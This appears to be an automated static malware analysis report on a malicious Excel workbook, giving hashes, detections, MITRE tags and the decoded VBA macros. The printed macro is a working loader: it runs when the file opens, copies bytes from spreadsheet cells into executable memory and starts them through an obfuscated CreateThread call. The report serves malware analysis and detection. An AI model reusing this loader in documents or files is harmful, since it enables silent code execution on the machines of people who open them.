Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 5f3b2086a56f6238…

MALICIOUS

Office (OOXML)

15.9 KB Created: 2021-10-18 14:56:53 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-10-27
MD5: a51e47aed9dd2d010a8654f3b7fc21ba SHA-1: 811705dd263e1ba239dd2ec994b85fa16145dbb1 SHA-256: 5f3b2086a56f6238008cb8bc61f3b9562ceef6761b2f13288247aee4356fb980
164 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an Office document containing multiple VBA macros (AutoOpen, Workbook_Open, Auto_Open) that are triggered upon opening. The VBA code uses VirtualAlloc and RtlMoveMemory to allocate memory and copy data into it, followed by a call to Application.Evaluate with a constructed string that appears to be intended to execute code from the allocated memory. This behavior is characteristic of macro-based malware designed to download and execute further stages.

Heuristics 5

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
    Sub AutoOpen()
            Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
    Sub Workbook_Open()
            Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
            Dim Wyzayxya As Long, Hyeyhafxp As Variant, Lezhtplzi As Long, Zolde As Long, i As Long, n As Long

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1710 bytes
SHA-256: 87b2b3d4e0aad579ad7c2cc0d5de3c878afb4f858e4bd9dd1b15ce4bd21970c0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"


Function VBA_Evaluate(Input_String As String)
Application.Volatile
VBA_Evaluate = Application.Evaluate(Input_String)
End Function

Sub Auto_Open()
        Dim Wyzayxya As Long, Hyeyhafxp As Variant, Lezhtplzi As Long, Zolde As Long, i As Long, n As Long
#If VBA7 Then
        Dim Xlbufvetp As LongPtr
#Else
        Dim Xlbufvetp As Long
#End If
n = Range("A1", Range("A1").End(xlDown)).Rows.Count
   ReDim Hyeyhafxp(n)
   For i = 0 To n
      Hyeyhafxp(i) = Range("A1").Offset(i, 0)
   Next i
   

        Xlbufvetp = VirtualAlloc(0, UBound(Hyeyhafxp), &H1000, &H40)
        For Zolde = LBound(Hyeyhafxp) To UBound(Hyeyhafxp)
                Wyzayxya = Hyeyhafxp(Zolde)
                Lezhtplzi = RtlMoveMemory(Xlbufvetp + Zolde, Wyzayxya, 1)
        Next Zolde
        Dim p1 As String
        p1 = "Crea"
        p1 = p1 & "teTh"
        p1 = p1 & "read"
    
        VBA_Evaluate (p1 & "(0, 0, " & Xlbufvetp & ", 0, 0, 0)")
End Sub
Sub AutoOpen()
        Auto_Open
End Sub
Sub Workbook_Open()
        Auto_Open
End Sub





Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 17920 bytes
SHA-256: 861224026b8c8a77b870117b9ad66ca9b018394c267f0a12fed384e595cfcc5b
Detection
ClamAV: Doc.Downloader.Generic-6698421-0
Obfuscation or payload: unlikely